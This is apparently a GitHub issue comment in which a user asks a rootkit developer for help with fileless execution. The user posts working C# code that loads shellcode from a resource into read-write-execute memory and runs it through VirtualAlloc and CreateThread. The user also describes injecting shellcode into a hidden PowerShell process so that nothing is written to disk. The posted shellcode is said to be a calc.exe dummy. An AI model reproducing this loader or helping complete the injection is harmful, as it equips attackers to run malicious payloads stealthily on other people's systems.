fSociety-Protected
commented
3 months ago Mmmm... I dont understand that... 😓😓
When I compile like that:
using System;
using System.Runtime.InteropServices;
public static class Program
{
public static void Main()
{
// 1. Load Install.shellcode from resources
byte[] shellCode;
// Load the shellcode from resources by its name "C9_ShellCode"
shellCode = ShellCode.Properties.Resources.Install_shellcode; // Assuming the shellcode is stored as a resource in the project
// 2. Create an RWX buffer with the shellcode
IntPtr buffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, 0x1000, 0x40);
Marshal.Copy(shellCode, 0, buffer, shellCode.Length);
// 3. Start the shellcode in a thread and wait until it terminates
IntPtr thread = CreateThread(IntPtr.Zero, 0, buffer, IntPtr.Zero, 0, out _);
WaitForSingleObject(thread, 0xffffffff);
// Free the allocated memory after executing the shellcode
VirtualFree(buffer, UIntPtr.Zero, 0x8000);
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualFree(IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);
}Then WORKS!
But when I try to create a function and call it when I press a button, dont work. IDK.... 😭😭
private const int PROCESS_ALL_ACCESS = 0x1F0FFF;
private const uint MEM_COMMIT = 0x00001000;
private const uint MEM_RESERVE = 0x00002000;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualFree(IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);
public void C9__INIT__INSTALL__STAGE()
{
// 1. Load Install.shellcode from resources
byte[] shellCode;
// Load the shellcode from resources by its name "C9_ShellCode"
shellCode = C9_LOADER.Properties.Resources.Install_shellcode; // Assuming the shellcode is stored as a resource in the project
// 2. Create an RWX buffer with the shellcode
IntPtr buffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, 0x1000, 0x40);
Marshal.Copy(shellCode, 0, buffer, shellCode.Length);
// 3. Start the shellcode in a thread and wait until it terminates
IntPtr thread = CreateThread(IntPtr.Zero, 0, buffer, IntPtr.Zero, 0, out _);
WaitForSingleObject(thread, 0xffffffff);
// Free the allocated memory after executing the shellcode
VirtualFree(buffer, UIntPtr.Zero, 0x8000);
}
public void INSTALL_Click(object sender, RoutedEventArgs e)
{
C9__INIT__INSTALL__STAGE();
}
sa6ta6ni6c
bytecode77
I still developing my project, but I need some help @bytecode77! 🙏🙏
I need use the Install.ShellCode to run it directly into memory, without drop/write any executeable. But I cant handle works flewless.... 😭😭
Today I spend all the day to create this process... 🥴🥴
Scenario: On my main program, I have 2 Buttons(Only one "works"), one for INSTALL & the other for UNNISTAILL. The plan was that, create a powershell process that appear hidden, only for 3 seconds, and then inject the ShellCode into that process. 🧐🧐
Works nice, but I reboot my machine & now STOP working... 🤷♂️🤷♂️🤷♂️ I think Its more easy & It be less complicated, but I need a bit of help. 😅😅
Thats the function actually Im using it:
_And then on the Click_EventBtn I have that:
### PS = The Actual ShellCode Writted In This Code, Its Just A Dummy ShellCode! — ( calc.exe )